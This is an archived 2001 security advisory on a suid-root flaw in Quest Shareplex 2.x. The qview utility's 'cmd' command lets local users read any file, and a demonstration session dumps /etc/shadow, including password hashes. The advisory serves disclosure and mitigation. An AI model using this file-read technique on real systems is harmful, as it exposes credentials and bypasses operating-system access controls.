Security Hole In Shareplex

2001-03-31T00:00:00
ID SECURITYVULNS:DOC:1452
Type securityvulns
Reporter Securityvulns
Modified 2001-03-31T00:00:00

Description

                    Security Hole in Shareplex 2.x
                    ------------------------------

Summary

Shareplex (Quest Software's product for Oracle database replication) contains a security hole which can allow local users to read any file on the system, effectively bypassing the permissions set at the OS level.

Details

One of the scripts called when the product is installed (root.post) contains the following block of code:

update_permissions() { if get_mark marker OPT DIR; then : else get_mark marker OPT.$ORAVER DIR fi OD=$MARK

    chown root $OD/bin/sp_cop
    chmod 4555 $OD/bin/sp_cop

    chown root $OD/bin/CleanSP
    chmod 4550 $OD/bin/CleanSP

    chown root $OD/bin/qview
    chmod 4555 $OD/bin/qview

    ...

    chown root $OD/install/splex_remove_script
    chmod 4555 $OD/install/splex_remove_script

    get_mark rootpre SPLEX GROUP
    SPLEX_GROUP=$MARK
    chgrp $SPLEX_GROUP $MARKERFILE
    chown root $MARKERFILE
    chmod o-w $MARKERFILE

}

This assigns ownership of several application binaries to root, and then sets permissions on them to read & execute by everyone, and suid to root. The qview utility, which is used for cleaning out queues amongst other things, is one of the tools which is installed mode 4555. It has a feature which can compromise system security when executed with superuser privileges.

qview's cmd command (which is used to execute qview commands stored in a file) opens any user-specified file and attempts to execute each line the file contains. Any errors encountered are echoed to standard output. A user who can execute qview can use this behavior to read files on the system to which they do not legitimately have access. As the target file will contain data other than qview commands, that data will be echoed out to stdout along with error messages.

I did not attempt a comprehensive audit of this product. There are a lot of utilities installed suid-root, and this may not be the only one that contains vulnerabilities.

Demonstration

$ id uid=500(foo) gid=200(bar) $ cd <path to shareplex binaries> $ ./qview qdump> cmd /etc/shadow Executing: root:xDmyz1K9xRKRo:11236:::::: invalid command root:xDmyz1K9xRKRo:11236:::::: ... Executing: splex:BdJCfh1D32hzo:11290:::::: invalid command splex:BdJCfh1D32hzo:11290:::::: Executing: foo:2MQXUgAcnOcEU:11344:::::: invalid command foo:2MQXUgAcnOcEU:11344:::::: qdump> quit $

Vulnerable Versions

The same version of root.post is shipped for each of the supported unixes (Solaris 2.6, HP/UX 10.20 & 11.00, AIX 3 and OSF/1 4.0). I would expect qview to display the same behavior on each of these OSes, but I tested only on Solaris 2.6.

I tested Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00).

Workaround

As currently implemented, qview needs to run as root in order to operate correctly. However, the risk can be somewhat mitigated by changing the permissions on qview to 4550, and making it group-owned by a group containing only highly-trusted users. This is not a complete solution to the problem, as any user who is still allowed to run qview can still access files to which they should not have access under any circumstances (such as the shadow file).

Vendor Notification/Patches

The vendor was notified on 2/2/2001.

The issue is patched in SharePlex 2.1.3.21 and above. The patched version of qview seems to remove the offending fuctionality completely.